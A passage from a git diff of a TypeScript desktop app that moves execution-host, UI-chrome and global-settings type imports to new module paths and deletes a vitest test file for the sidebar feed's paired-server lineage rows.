parseExecutionHostId, type ExecutionHostId -} from '../../execution-host' +} from '../../execution-host/execution-host' import type { FolderWorkspace } from '../../folder-workspaces/folder-workspace-types' import { folderWorkspaceToWorktree } from '../../folder-workspaces/folder-workspace-worktree' import type { Repo } from '../../repository/repo-types' diff --git a/src/shared/sidebar-list/feed/sidebar-feed-index.ts b/src/shared/sidebar-list/feed/sidebar-feed-index.ts index abc5e0895d9..8215df35ed5 100644 --- a/src/shared/sidebar-list/feed/sidebar-feed-index.ts +++ b/src/shared/sidebar-list/feed/sidebar-feed-index.ts @@ -4,7 +4,7 @@ import { LOCAL_EXECUTION_HOST_ID, parseExecutionHostId, type ExecutionHostId -} from '../../execution-host' +} from '../../execution-host/execution-host' import { buildExecutionHostRegistry } from '../../execution-host/execution-host-registry' import type { FolderWorkspace } from '../../folder-workspaces/folder-workspace-types' import { diff --git a/src/shared/sidebar-list/feed/sidebar-feed-lineage-parents.ts b/src/shared/sidebar-list/feed/sidebar-feed-lineage-parents.ts index d3375b3cba8..a11b3b6a9f1 100644 --- a/src/shared/sidebar-list/feed/sidebar-feed-lineage-parents.ts +++ b/src/shared/sidebar-list/feed/sidebar-feed-lineage-parents.ts @@ -1,4 +1,4 @@ -import { parseExecutionHostId } from '../../execution-host' +import { parseExecutionHostId } from '../../execution-host/execution-host' import { composeWorktreeHostIdentity, getWorktreeHostIdentity diff --git a/src/shared/sidebar-list/feed/sidebar-feed-rows.test.ts b/src/shared/sidebar-list/feed/sidebar-feed-rows.test.ts deleted file mode 100644 index 5633a50ef41..00000000000 --- a/src/shared/sidebar-list/feed/sidebar-feed-rows.test.ts +++ /dev/null @@ -1,139 +0,0 @@ -import { describe, expect, it } from 'vitest' -import { LOCAL_EXECUTION_HOST_ID } from '../../execution-host' -import type { ProjectGroup } from '../../project/groups/project-group-types' -import type { Repo } from '../../repository/repo-types' -import { NO_WORKSPACE_ROW_FILTERS } from '../../workspace-view/workspace-row-filters' -import { ALL_GROUP_KEY, getLineageGroupKey } from '../sections/group-keys' -import { IDLE_WORKSPACE_ACTIVITY } from '../feed-facts/workspace-activity-facts' -import { composeWorktreeHostIdentity } from '../../worktree/host-qualified-identity' -import type { HostSectionRow } from '../hosts/host-section-rows' -import { normalizePairedServerRow } from '../feed-facts/paired-server-rows' -import { lineageIdentities } from '../worktree-lineage-range' -import type { SidebarFeedDomains } from './sidebar-feed-domains' -import { - buildSidebarFeedRows, - type SidebarFeedCatalog, - type SidebarFeedView -} from './sidebar-feed-rows' - -function repo(id: string, overrides: Partial = {}): Repo { - return { id, path: `/${id}`, displayName: id, badgeColor: '', addedAt: 0, ...overrides } -} - -function domains(overrides: Partial): SidebarFeedDomains { - return { - workspaces: new Map(), - activity: new Map(), - review: new Map(), - creations: new Map(), - pairedServerHosts: new Map(), - pairedServerRows: new Map(), - repoIcons: new Map(), - desktop: null, - projectCatalog: null, - retention: null, - ...overrides - } -} - -function view(overrides: Partial = {}): SidebarFeedView { - return { - groupBy: 'none', - sortBy: 'recent', - projectOrderBy: 'manual', - collapsedGroups: new Set(), - filters: NO_WORKSPACE_ROW_FILTERS, - workspaceHostScope: 'all', - visibleWorkspaceHostIds: null, - workspaceStatuses: [], - pinnedDisplayPolicy: 'single-location', - defaultHostId: LOCAL_EXECUTION_HOST_ID, - hostLabelOverrides: new Map(), - localHostLabel: 'This computer', - ...overrides - } -} - -function catalog(repos: Repo[], projectGroups: ProjectGroup[] = []): SidebarFeedCatalog { - return { repos, projectGroups, projectGrouping: { projects: [], projectHostSetups: [] } } -} - -/** Each listed row as `host|id@depth`, headers as `# label@depth`. */ -function outline(rows: readonly HostSectionRow[]): string[] { - return rows.flatMap((row) => { - if (row.type === 'item') { - return [`${row.worktree.hostId ?? ''}|${row.worktree.id}@${String(row.depth)}`] - } - if (row.type === 'header' && row.key !== ALL_GROUP_KEY) { - return [`# ${row.label ?? row.key}@${String(row.projectGroupDepth ?? 0)}`] - } - return row.type === 'host-header' ? [`## ${row.label}`] : [] - }) -} - -describe('buildSidebarFeedRows nests each paired server’s own lineage', () => { - const serverRows = (hostId: 'runtime:a' | 'runtime:b', recentAt: number) => - [ - { worktreeId: 'r::/r/p', worktreeInstanceId: `${hostId}-p`, lastActivityAt: recentAt }, - { - worktreeId: 'r::/r/c', - worktreeInstanceId: `${hostId}-c`, - parentWorktreeId: 'r::/r/p', - lineageWorktreeInstanceId: `${hostId}-c`, - parentWorktreeInstanceId: `${hostId}-p`, - lastActivityAt: recentAt + 1 - } - ].flatMap((row) => normalizePairedServerRow(hostId, { repoId: 'r', ...row }) ?? []) - const repos = [ - repo('r', { executionHostId: 'runtime:a' }), - repo('r', { executionHostId: 'runtime:b' }) - ] - const feed = (reversed: boolean, activity: SidebarFeedDomains['activity'] = new Map()) => { - const rows = [...serverRows('runtime:a', 10), ...serverRows('runtime:b', 20)] - return domains({ - activity, - pairedServerHosts: new Map( - ['runtime:a', 'runtime:b'].map((hostId) => [hostId, { freshness: 'live', host: null }]) - ), - pairedServerRows: new Map((reversed ? rows.toReversed() : rows).map((row) => [row.key, row])) - }) - } - - it.each([false, true])('carries host-qualified descendants when collapsed: %s', (collapsed) => { - const built = buildSidebarFeedRows( - feed(false), - catalog(repos), - view({ - collapsedGroups: collapsed ? new Set([getLineageGroupKey('runtime:a|r::/r/p')]) : new Set() - }) - ) - const parent = built.sectionRows.find( - (row) => - row.type === 'item' && row.worktree.hostId === 'runtime:a' && row.worktree.id === 'r::/r/p' - ) - if (parent?.type !== 'item') { - throw new Error('Missing parent') - } - expect([...lineageIdentities(parent.lineageDescendantIdentities ?? [])]).toEqual([ - 'runtime:a|r::/r/c' - ]) - expect(parent.lineageCollapsed).toBe(collapsed) - expect(outline(built.sectionRows).includes('runtime:a|r::/r/c@1')).toBe(!collapsed) - }) - - it('brings back a server’s filtered-out parent above its own child, not its twin’s', () => { - // Only server A's child is awake: B's same-id rows stay asleep. - const awake = new Map([ - [ - composeWorktreeHostIdentity('runtime:a', 'r::/r/c'), - { ...IDLE_WORKSPACE_ACTIVITY, browser: true } - ] - ]) - const built = buildSidebarFeedRows( - feed(false, awake), - catalog(repos), - view({ filters: { ...NO_WORKSPACE_ROW_FILTERS, hideSleepingWorkspaces: true } }) - ) - expect(outline(built.sectionRows)).toEqual(['runtime:a|r::/r/p@0', 'runtime:a|r::/r/c@1']) - }) -}) diff --git a/src/shared/sidebar-list/feed/sidebar-feed-rows.ts b/src/shared/sidebar-list/feed/sidebar-feed-rows.ts index 817d2e958ce..0a3bcdb43a4 100644 --- a/src/shared/sidebar-list/feed/sidebar-feed-rows.ts +++ b/src/shared/sidebar-list/feed/sidebar-feed-rows.ts @@ -4,12 +4,12 @@ import { parseExecutionHostId, type ExecutionHostId, type ExecutionHostScope -} from '../../execution-host' +} from '../../execution-host/execution-host' import type { ProjectGroup } from '../../project/groups/project-group-types' import { getLogicalRepoOrderRankById } from '../sections/project-section-order' import type { ProjectSectionModel } from '../sections/project-section-grouping' import type { Repo } from '../../repository/repo-types' -import type { ProjectOrderBy } from '../../ui-chrome-types' +import type { ProjectOrderBy } from '../../ui-chrome/ui-chrome-types' import { filterFolderWorkspacesFromOtherDevices, isWorkspaceOwnedBySomeoneElse diff --git a/src/shared/sidebar-list/feed/sidebar-feed-worktrees.ts b/src/shared/sidebar-list/feed/sidebar-feed-worktrees.ts index 028cd33afa2..20246b2d9d4 100644 --- a/src/shared/sidebar-list/feed/sidebar-feed-worktrees.ts +++ b/src/shared/sidebar-list/feed/sidebar-feed-worktrees.ts @@ -2,7 +2,7 @@ import { getSshTargetIdForExecutionHost, parseExecutionHostId, type ExecutionHostId -} from '../../execution-host' +} from '../../execution-host/execution-host' import type { FolderWorkspace } from '../../folder-workspaces/folder-workspace-types' import { projectGroupIdFromRepoId } from '../../folder-workspaces/folder-workspace-worktree' import { parseWorkspaceKey } from '../../workspace/identity/workspace-scope' diff --git a/src/shared/sidebar-list/folders/folder-workspace-lanes.ts b/src/shared/sidebar-list/folders/folder-workspace-lanes.ts index 7388cabe47c..0560c4f852b 100644 --- a/src/shared/sidebar-list/folders/folder-workspace-lanes.ts +++ b/src/shared/sidebar-list/folders/folder-workspace-lanes.ts @@ -1,6 +1,6 @@ import type { FolderWorkspace } from '../../folder-workspaces/folder-workspace-types' import type { ProjectGroup } from '../../project/groups/project-group-types' -import { LOCAL_EXECUTION_HOST_ID } from '../../execution-host' +import { LOCAL_EXECUTION_HOST_ID } from '../../execution-host/execution-host' import { getFolderWorkspaceHostId } from '../../folder-workspaces/folder-workspace-host-id' import type { WorkspaceStatusDefinition } from '../../worktree/types' import { diff --git a/src/shared/sidebar-list/hosts/folder-workspace-host-id.ts b/src/shared/sidebar-list/hosts/folder-workspace-host-id.ts index 89422bb218e..d59dba7bb0f 100644 --- a/src/shared/sidebar-list/hosts/folder-workspace-host-id.ts +++ b/src/shared/sidebar-list/hosts/folder-workspace-host-id.ts @@ -1,4 +1,4 @@ -import type { ExecutionHostId } from '../../execution-host' +import type { ExecutionHostId } from '../../execution-host/execution-host' import type { FolderWorkspace } from '../../folder-workspaces/folder-workspace-types' import type { ProjectGroup } from '../../project/groups/project-group-types' import { getFolderWorkspaceExecutionHostIdForRows } from './host-filtering' diff --git a/src/shared/sidebar-list/hosts/host-filtering.ts b/src/shared/sidebar-list/hosts/host-filtering.ts index fff35431c2c..d1b9362b337 100644 --- a/src/shared/sidebar-list/hosts/host-filtering.ts +++ b/src/shared/sidebar-list/hosts/host-filtering.ts @@ -5,7 +5,7 @@ import { toSshExecutionHostId, type ExecutionHostId, type ExecutionHostScope -} from '../../execution-host' +} from '../../execution-host/execution-host' import type { FolderWorkspace } from '../../folder-workspaces/folder-workspace-types' import type { ProjectGroup } from '../../project/groups/project-group-types' import type { Repo } from '../../repository/repo-types' diff --git a/src/shared/sidebar-list/hosts/host-labels.ts b/src/shared/sidebar-list/hosts/host-labels.ts index ab8150da0d3..3d8a0ae05c1 100644 --- a/src/shared/sidebar-list/hosts/host-labels.ts +++ b/src/shared/sidebar-list/hosts/host-labels.ts @@ -4,8 +4,8 @@ import { getRepoExecutionHostId, getRepoExecutionHostIdOrDefault, getWorktreeExecutionHostId -} from '../../execution-host' -import type { ExecutionHostId } from '../../execution-host' +} from '../../execution-host/execution-host' +import type { ExecutionHostId } from '../../execution-host/execution-host' import { getHostContextLabel, getMixedHostContextLabels as getSharedMixedHostContextLabels diff --git a/src/shared/sidebar-list/hosts/host-section-collapse.ts b/src/shared/sidebar-list/hosts/host-section-collapse.ts index 05250a1a8ce..e0492fa0300 100644 --- a/src/shared/sidebar-list/hosts/host-section-collapse.ts +++ b/src/shared/sidebar-list/hosts/host-section-collapse.ts @@ -1,4 +1,4 @@ -import type { ExecutionHostId } from '../../execution-host' +import type { ExecutionHostId } from '../../execution-host/execution-host' import type { HostSectionRow } from './host-section-rows' import { PINNED_GROUP_KEY } from '../sections/group-keys' diff --git a/src/shared/sidebar-list/hosts/host-section-order.ts b/src/shared/sidebar-list/hosts/host-section-order.ts index ae95a60cc81..c94f5cd7975 100644 --- a/src/shared/sidebar-list/hosts/host-section-order.ts +++ b/src/shared/sidebar-list/hosts/host-section-order.ts @@ -1,4 +1,4 @@ -import type { ExecutionHostId } from '../../execution-host' +import type { ExecutionHostId } from '../../execution-host/execution-host' import type { HostSectionOption } from './host-section-rows' export function orderHostSectionOptions( diff --git a/src/shared/sidebar-list/hosts/host-section-rows.ts b/src/shared/sidebar-list/hosts/host-section-rows.ts index c65d80566c1..ad286d9edb9 100644 --- a/src/shared/sidebar-list/hosts/host-section-rows.ts +++ b/src/shared/sidebar-list/hosts/host-section-rows.ts @@ -6,7 +6,7 @@ import { type ExecutionHostId, type ExecutionHostKind, type ExecutionHostScope -} from '../../execution-host' +} from '../../execution-host/execution-host' import type { ExecutionHostHealth, ExecutionHostVmState diff --git a/src/shared/sidebar-list/hosts/project-header-localization.ts b/src/shared/sidebar-list/hosts/project-header-localization.ts index fc4645f2f0c..bb550812cc4 100644 --- a/src/shared/sidebar-list/hosts/project-header-localization.ts +++ b/src/shared/sidebar-list/hosts/project-header-localization.ts @@ -1,4 +1,4 @@ -import type { ExecutionHostId } from '../../execution-host' +import type { ExecutionHostId } from '../../execution-host/execution-host' import type { Row } from '../row-types' /** A project header's copy for one host: that host's registration, count and workspaces. */ diff --git a/src/shared/sidebar-list/lineage/worktree-lineage-projection.ts b/src/shared/sidebar-list/lineage/worktree-lineage-projection.ts index 8976cd42b00..0010e4d5bd0 100644 --- a/src/shared/sidebar-list/lineage/worktree-lineage-projection.ts +++ b/src/shared/sidebar-list/lineage/worktree-lineage-projection.ts @@ -2,7 +2,7 @@ import { getCyclicWorktreeLineageChildIds, isValidResolvedWorktreeLineageEdge } from '../../worktree/lineage/resolved-worktree-lineage' -import type { ExecutionHostId } from '../../execution-host' +import type { ExecutionHostId } from '../../execution-host/execution-host' import { getWorktreeHostIdentity } from '../../worktree/host-qualified-identity' import type { WorktreeLineage } from '../../worktree/lineage-types' import type { FolderLineageRecordOf } from '../../worktree/lineage/folder-lineage-parents' diff --git a/src/shared/sidebar-list/row-types.ts b/src/shared/sidebar-list/row-types.ts index 11d39de201b..16d1e17b5f7 100644 --- a/src/shared/sidebar-list/row-types.ts +++ b/src/shared/sidebar-list/row-types.ts @@ -4,7 +4,7 @@ import type { FolderWorkspace } from '../folder-workspaces/folder-workspace-type import type { ProjectGroup } from '../project/groups/project-group-types' import type { Repo } from '../repository/repo-types' import type { DetectedWorktree, WorkspaceStatus, Worktree } from '../worktree/types' -import type { ExecutionHostId } from '../execution-host' +import type { ExecutionHostId } from '../execution-host/execution-host' import type { PRGroupKey } from '../workspace-view/workspace-pr-groups' export type WorktreeGroupBy = 'none' | 'workspace-status' | 'repo' | 'pr-status' diff --git a/src/shared/sidebar-list/sections/group-sections.ts b/src/shared/sidebar-list/sections/group-sections.ts index 6ee2f9d543e..ad40b3e803e 100644 --- a/src/shared/sidebar-list/sections/group-sections.ts +++ b/src/shared/sidebar-list/sections/group-sections.ts @@ -1,7 +1,7 @@ import type { Repo } from '../../repository/repo-types' import type { WorktreeOccurrencePlan } from '../lineage/worktree-occurrence-plan' import type { WorkspaceStatusDefinition, Worktree } from '../../worktree/types' -import type { ExecutionHostId } from '../../execution-host' +import type { ExecutionHostId } from '../../execution-host/execution-host' import { getWorkspaceStatusFromGroupKey } from '../../workspace/status/workspace-statuses' import type { PRGroupKey } from '../../workspace-view/workspace-pr-groups' import type { NoticeHostContext } from '../hosts/host-labels' diff --git a/src/shared/sidebar-list/sections/imported-worktree-lines.ts b/src/shared/sidebar-list/sections/imported-worktree-lines.ts index 6bfaeeed3c8..9a9b2ffbd42 100644 --- a/src/shared/sidebar-list/sections/imported-worktree-lines.ts +++ b/src/shared/sidebar-list/sections/imported-worktree-lines.ts @@ -1,5 +1,5 @@ -import type { ExecutionHostId } from '../../execution-host' -import { getRepoExecutionHostIdOrDefault } from '../../execution-host' +import type { ExecutionHostId } from '../../execution-host/execution-host' +import { getRepoExecutionHostIdOrDefault } from '../../execution-host/execution-host' import { getHostContextLabel } from '../../worktree/row-display/host-context-labels' import type { ImportedWorktreesCardCandidate, Row } from '../row-types' diff --git a/src/shared/sidebar-list/sections/pinned-group-rows.ts b/src/shared/sidebar-list/sections/pinned-group-rows.ts index 5aabe53348e..82ac53b0663 100644 --- a/src/shared/sidebar-list/sections/pinned-group-rows.ts +++ b/src/shared/sidebar-list/sections/pinned-group-rows.ts @@ -1,7 +1,7 @@ import type { WorktreeOccurrencePlan } from '../lineage/worktree-occurrence-plan' import type { Worktree } from '../../worktree/types' -import { getWorktreeExecutionHostId } from '../../execution-host' -import type { ExecutionHostId } from '../../execution-host' +import { getWorktreeExecutionHostId } from '../../execution-host/execution-host' +import type { ExecutionHostId } from '../../execution-host/execution-host' import { PINNED_GROUP_KEY } from './group-keys' import { appendWorktreeRows } from './row-builders' import type { RepoOfWorktree, Row } from '../row-types' diff --git a/src/shared/sidebar-list/sections/project-group-sections.ts b/src/shared/sidebar-list/sections/project-group-sections.ts index 80e75987bab..ae709ad822a 100644 --- a/src/shared/sidebar-list/sections/project-group-sections.ts +++ b/src/shared/sidebar-list/sections/project-group-sections.ts @@ -1,7 +1,7 @@ import type { OccurrenceSectionPath } from '../lineage/worktree-occurrence-plan' import type { RenderableFolderWorkspace } from '../folders/folder-workspace-lanes' import type { ProjectGroup } from '../../project/groups/project-group-types' -import type { ProjectOrderBy } from '../../ui-chrome-types' +import type { ProjectOrderBy } from '../../ui-chrome/ui-chrome-types' import { getDistinctProjectGroups } from '../../project/groups/project-groups' import { getProjectGroupHeaderKey } from './group-keys' import { appendOrderedGroups } from './group-sections' diff --git a/src/shared/sidebar-list/sections/project-group-tree.ts b/src/shared/sidebar-list/sections/project-group-tree.ts index 822663b16c3..02da6d8d28d 100644 --- a/src/shared/sidebar-list/sections/project-group-tree.ts +++ b/src/shared/sidebar-list/sections/project-group-tree.ts @@ -3,7 +3,7 @@ import type { ProjectGroup } from '../../project/groups/project-group-types' import type { ProjectSectionEntry, ProjectSectionRepo } from './project-section-grouping' import type { Repo } from '../../repository/repo-types' -import type { ProjectOrderBy } from '../../ui-chrome-types' +import type { ProjectOrderBy } from '../../ui-chrome/ui-chrome-types' import { getDistinctProjectGroups, getEffectiveProjectGroupManualRank diff --git a/src/shared/sidebar-list/sections/project-section-grouping.ts b/src/shared/sidebar-list/sections/project-section-grouping.ts index 45b35ef9611..babdd7dc740 100644 --- a/src/shared/sidebar-list/sections/project-section-grouping.ts +++ b/src/shared/sidebar-list/sections/project-section-grouping.ts @@ -1,8 +1,8 @@ // The desktop sidebar's Project sections; the paired phone calls these same functions. -import type { ExecutionHostId } from '../../execution-host' +import type { ExecutionHostId } from '../../execution-host/execution-host' import { orderProjectSections, type ActivityItem } from './project-section-order' -import type { ProjectOrderBy } from '../../ui-chrome-types' -import { toSshExecutionHostId } from '../../execution-host' +import type { ProjectOrderBy } from '../../ui-chrome/ui-chrome-types' +import { toSshExecutionHostId } from '../../execution-host/execution-host' import type { Project, ProjectHostSetup } from '../../project/project-types' import type { Repo } from '../../repository/repo-types' import { parseWslUncPath } from '../../file-access/wsl-paths' diff --git a/src/shared/sidebar-list/sections/project-section-order.ts b/src/shared/sidebar-list/sections/project-section-order.ts index 9ab2a6dfa59..cc569bf6200 100644 --- a/src/shared/sidebar-list/sections/project-section-order.ts +++ b/src/shared/sidebar-list/sections/project-section-order.ts @@ -4,7 +4,7 @@ import { getRepoDisplayLabelKey, getRepoDisplayLabelsByPath } from '../../repository/appearance/repo-display-labels' -import type { ProjectOrderBy } from '../../ui-chrome-types' +import type { ProjectOrderBy } from '../../ui-chrome/ui-chrome-types' import { compareCodePoints, compareSidebarText } from '../sorting/text-order' export type ActivityItem = { lastActivityAt?: number } diff --git a/src/shared/sidebar-list/sections/worktree-grouping.ts b/src/shared/sidebar-list/sections/worktree-grouping.ts index fb4ad7ab465..a2c8b1f21e4 100644 --- a/src/shared/sidebar-list/sections/worktree-grouping.ts +++ b/src/shared/sidebar-list/sections/worktree-grouping.ts @@ -1,5 +1,5 @@ import type { Repo } from '../../repository/repo-types' -import type { ProjectOrderBy } from '../../ui-chrome-types' +import type { ProjectOrderBy } from '../../ui-chrome/ui-chrome-types' import type { WorkspaceStatusDefinition, Worktree } from '../../worktree/types' import { getWorktreeHostIdentity } from '../../worktree/host-qualified-identity' import { diff --git a/src/shared/sidebar-list/selection/active-workspace.ts b/src/shared/sidebar-list/selection/active-workspace.ts index b3307799896..ecfba2d208c 100644 --- a/src/shared/sidebar-list/selection/active-workspace.ts +++ b/src/shared/sidebar-list/selection/active-workspace.ts @@ -1,4 +1,4 @@ -import type { ExecutionHostId } from '../../execution-host' +import type { ExecutionHostId } from '../../execution-host/execution-host' import { composeWorktreeHostIdentity, getWorktreeHostIdentity diff --git a/src/shared/sidebar-list/sidebar-row-plan.ts b/src/shared/sidebar-list/sidebar-row-plan.ts index 665883c896d..2024a326df9 100644 --- a/src/shared/sidebar-list/sidebar-row-plan.ts +++ b/src/shared/sidebar-list/sidebar-row-plan.ts @@ -1,11 +1,11 @@ import type { FolderWorkspace } from '../folder-workspaces/folder-workspace-types' import type { ProjectGroup } from '../project/groups/project-group-types' import type { Repo } from '../repository/repo-types' -import type { ProjectOrderBy } from '../ui-chrome-types' +import type { ProjectOrderBy } from '../ui-chrome/ui-chrome-types' import type { WorktreeLineage } from '../worktree/lineage-types' import type { SidebarLineageParentIdentities } from './lineage/worktree-lineage-projection' import type { WorkspaceStatusDefinition, Worktree } from '../worktree/types' -import type { ExecutionHostId } from '../execution-host' +import type { ExecutionHostId } from '../execution-host/execution-host' import { ALL_GROUP_KEY, PINNED_GROUP_KEY } from './sections/group-keys' import { appendOrderedGroups, type SectionAppendContext } from './sections/group-sections' diff --git a/src/shared/skills/sharing/agent-skill-sharing-gate.ts b/src/shared/skills/sharing/agent-skill-sharing-gate.ts index 7105de68bd6..75790213cbe 100644 --- a/src/shared/skills/sharing/agent-skill-sharing-gate.ts +++ b/src/shared/skills/sharing/agent-skill-sharing-gate.ts @@ -1,4 +1,4 @@ -import type { GlobalSettings } from '../../global-settings-types' +import type { GlobalSettings } from '../../settings/global-settings-types' export const AGENT_SKILL_SHARING_DISABLED_CODE = 'agent_skill_sharing_disabled' diff --git a/src/shared/source-control/ai/generation/commit-message-host-key.ts b/src/shared/source-control/ai/generation/commit-message-host-key.ts index d14a476ff66..09ee5cd8ac1 100644 --- a/src/shared/source-control/ai/generation/commit-message-host-key.ts +++ b/src/shared/source-control/ai/generation/commit-message-host-key.ts @@ -1,4 +1,7 @@ -import { getRepoExecutionHostId, parseRoutableExecutionHostId } from '../../../execution-host' +import { + getRepoExecutionHostId, + parseRoutableExecutionHostId +} from '../../../execution-host/execution-host' export const LOCAL_COMMIT_MESSAGE_HOST_KEY = 'local' export const UNKNOWN_COMMIT_MESSAGE_HOST_KEY = 'unknown' diff --git a/src/shared/source-control/ai/recipes/source-control-action-launch-preferences.ts b/src/shared/source-control/ai/recipes/source-control-action-launch-preferences.ts index 1526ed6723b..aa65d62e761 100644 --- a/src/shared/source-control/ai/recipes/source-control-action-launch-preferences.ts +++ b/src/shared/source-control/ai/recipes/source-control-action-launch-preferences.ts @@ -15,7 +15,7 @@ import { } from './source-control-action-argument-document' import { actionModelSelectionChoices } from './source-control-action-model-selection' import { normalizeAgentModelOptionChoices } from '../../../agent-launch/choices/agent-launch-choices' -import type { ExecutionHostId } from '../../../execution-host' +import type { ExecutionHostId } from '../../../execution-host/execution-host' import { resolveTuiAgentLaunchRawArgs, type AgentLaunchProfileSettings diff --git a/src/shared/source-control/ai/settings/auto-rename-branch-from-work-settings.ts b/src/shared/source-control/ai/settings/auto-rename-branch-from-work-settings.ts index cf3703823df..4a37048b355 100644 --- a/src/shared/source-control/ai/settings/auto-rename-branch-from-work-settings.ts +++ b/src/shared/source-control/ai/settings/auto-rename-branch-from-work-settings.ts @@ -1,4 +1,4 @@ -import type { GlobalSettings } from '../../../global-settings-types' +import type { GlobalSettings } from '../../../settings/global-settings-types' type AutoRenameBranchFromWorkSettings = Pick< GlobalSettings, diff --git a/src/shared/source-control/ai/settings/source-control-ai-action-model-choice.ts b/src/shared/source-control/ai/settings/source-control-ai-action-model-choice.ts index 91c0329d368..16ccd06ffc0 100644 --- a/src/shared/source-control/ai/settings/source-control-ai-action-model-choice.ts +++ b/src/shared/source-control/ai/settings/source-control-ai-action-model-choice.ts @@ -8,7 +8,7 @@ import type { SourceControlActionRecipeSaveResult } from './source-control-ai-recipe-save' import { toSourceControlAiRepoUpdate } from './source-control-ai-recipe-save' -import type { GlobalSettings } from '../../../global-settings-types' +import type { GlobalSettings } from '../../../settings/global-settings-types' import type { Repo } from '../../../repository/repo-types' import type { AiTextOperation, diff --git a/src/shared/source-control/ai/settings/source-control-ai-action-model-edits.ts b/src/shared/source-control/ai/settings/source-control-ai-action-model-edits.ts index 756fde84595..7c15ecbf974 100644 --- a/src/shared/source-control/ai/settings/source-control-ai-action-model-edits.ts +++ b/src/shared/source-control/ai/settings/source-control-ai-action-model-edits.ts @@ -4,7 +4,7 @@ import { sourceControlAiModelChoiceHostKeys } from './source-control-ai-action-model-choice' import type { SourceControlAiWriteTarget } from './source-control-ai-recipe-save' -import type { GlobalSettings } from '../../../global-settings-types' +import type { GlobalSettings } from '../../../settings/global-settings-types' import type { Repo } from '../../../repository/repo-types' import type { AiTextOperation, diff --git a/src/shared/source-control/ai/settings/source-control-ai-recipe-save.ts b/src/shared/source-control/ai/settings/source-control-ai-recipe-save.ts index c7fc31a3cf7..c7808d24105 100644 --- a/src/shared/source-control/ai/settings/source-control-ai-recipe-save.ts +++ b/src/shared/source-control/ai/settings/source-control-ai-recipe-save.ts @@ -17,7 +17,7 @@ import type { SourceControlAiSettings, WritableRepoSourceControlAiOverrides } from './source-control-ai-settings-types' -import type { GlobalSettings } from '../../../global-settings-types' +import type { GlobalSettings } from '../../../settings/global-settings-types' import type { Repo } from '../../../repository/repo-types' export type SourceControlAiWriteTarget = { type: 'repo'; repoId: string } | { type: 'global' } diff --git a/src/shared/source-control/ai/source-control-ai-operation-policy.ts b/src/shared/source-control/ai/source-control-ai-operation-policy.ts index 62ccc451d8d..a39dc7bb58f 100644 --- a/src/shared/source-control/ai/source-control-ai-operation-policy.ts +++ b/src/shared/source-control/ai/source-control-ai-operation-policy.ts @@ -4,7 +4,7 @@ import { type CurrentActionSelection, type SelectedSourceControlActionRecipe } from './recipes/source-control-action-selection' -import type { GlobalSettings } from '../../global-settings-types' +import type { GlobalSettings } from '../../settings/global-settings-types' import type { Repo } from '../../repository/repo-types' import { readSourceControlActionDefault, diff --git a/src/shared/source-control/ai/source-control-ai-operation-resolution.ts b/src/shared/source-control/ai/source-control-ai-operation-resolution.ts index 18cbb428d30..7c1e1c0c9a0 100644 --- a/src/shared/source-control/ai/source-control-ai-operation-resolution.ts +++ b/src/shared/source-control/ai/source-control-ai-operation-resolution.ts @@ -14,7 +14,7 @@ import { type TextGenerationFailureCode, type TextGenerationFailureFields } from '../../text-generation/text-generation-failure-copy' -import type { GlobalSettings } from '../../global-settings-types' +import type { GlobalSettings } from '../../settings/global-settings-types' import type { Repo } from '../../repository/repo-types' import type { TuiAgent } from '../../agent-launch/catalog/tui-agent' diff --git a/src/shared/source-control/ai/source-control-launch-agent-selection.ts b/src/shared/source-control/ai/source-control-launch-agent-selection.ts index 4ecff2282ce..243bba20466 100644 --- a/src/shared/source-control/ai/source-control-launch-agent-selection.ts +++ b/src/shared/source-control/ai/source-control-launch-agent-selection.ts @@ -9,7 +9,7 @@ import { filterEnabledTuiAgents, TUI_AGENT_AUTO_PICK_ORDER } from '../../agent-launch/catalog/tui-agent-selection' -import type { GlobalSettings } from '../../global-settings-types' +import type { GlobalSettings } from '../../settings/global-settings-types' import type { Repo } from '../../repository/repo-types' import type { TuiAgent } from '../../agent-launch/catalog/tui-agent' diff --git a/src/shared/source-control/checks/check-run-details-owner-scope.ts b/src/shared/source-control/checks/check-run-details-owner-scope.ts index ab00e809868..cf72173f8a0 100644 --- a/src/shared/source-control/checks/check-run-details-owner-scope.ts +++ b/src/shared/source-control/checks/check-run-details-owner-scope.ts @@ -2,7 +2,7 @@ import { LOCAL_EXECUTION_HOST_ID, toRuntimeExecutionHostId, type ExecutionHostId -} from '../../execution-host' +} from '../../execution-host/execution-host' export function checkRunDetailsOwnerScope( hostId: ExecutionHostId, diff --git a/src/shared/source-control/listing/source-control-group-order.ts b/src/shared/source-control/listing/source-control-group-order.ts index 1e1d4bf396f..08866239e4f 100644 --- a/src/shared/source-control/listing/source-control-group-order.ts +++ b/src/shared/source-control/listing/source-control-group-order.ts @@ -1,4 +1,4 @@ -import type { SourceControlGroupOrder } from '../../ui-chrome-types' +import type { SourceControlGroupOrder } from '../../ui-chrome/ui-chrome-types' export const DEFAULT_SOURCE_CONTROL_GROUP_ORDER = 'changes-first' satisfies SourceControlGroupOrder diff --git a/src/shared/source-control/listing/source-control-section-order.ts b/src/shared/source-control/listing/source-control-section-order.ts index 22706f231ed..4cdbeae8d02 100644 --- a/src/shared/source-control/listing/source-control-section-order.ts +++ b/src/shared/source-control/listing/source-control-section-order.ts @@ -1,7 +1,7 @@ import { compareGitStatusEntries } from '../../git/status/git-status-sort' import { normalizeSourceControlGroupOrder } from './source-control-group-order' import type { GitStatusEntry } from '../../git/status/git-status-types' -import type { SourceControlGroupOrder } from '../../ui-chrome-types' +import type { SourceControlGroupOrder } from '../../ui-chrome/ui-chrome-types' export const SOURCE_CONTROL_AREAS = ['unstaged', 'staged', 'untracked'] as const export type SourceControlSectionArea = (typeof SOURCE_CONTROL_AREAS)[number] diff --git a/src/shared/status-bar/status-bar-defaults.ts b/src/shared/status-bar/status-bar-defaults.ts index 3170400657e..a00346f3110 100644 --- a/src/shared/status-bar/status-bar-defaults.ts +++ b/src/shared/status-bar/status-bar-defaults.ts @@ -1,4 +1,4 @@ -import type { StatusBarItem } from '../ui-chrome-types' +import type { StatusBarItem } from '../ui-chrome/ui-chrome-types' export const DEFAULT_STATUS_BAR_ITEMS: StatusBarItem[] = [ 'claude', diff --git a/src/shared/telemetry/schemas/telemetry-property-schemas.ts b/src/shared/telemetry/schemas/telemetry-property-schemas.ts index 47d509247b3..0acc804bfbc 100644 --- a/src/shared/telemetry/schemas/telemetry-property-schemas.ts +++ b/src/shared/telemetry/schemas/telemetry-property-schemas.ts @@ -5,7 +5,7 @@ import { } from '../../feature-education/explore/feature-wall-tour-depth' import { SETUP_SCRIPT_IMPORT_PROVIDERS } from '../../workspace-setup/setup-script-import-providers' import { WORKSPACE_SOURCE_VALUES } from 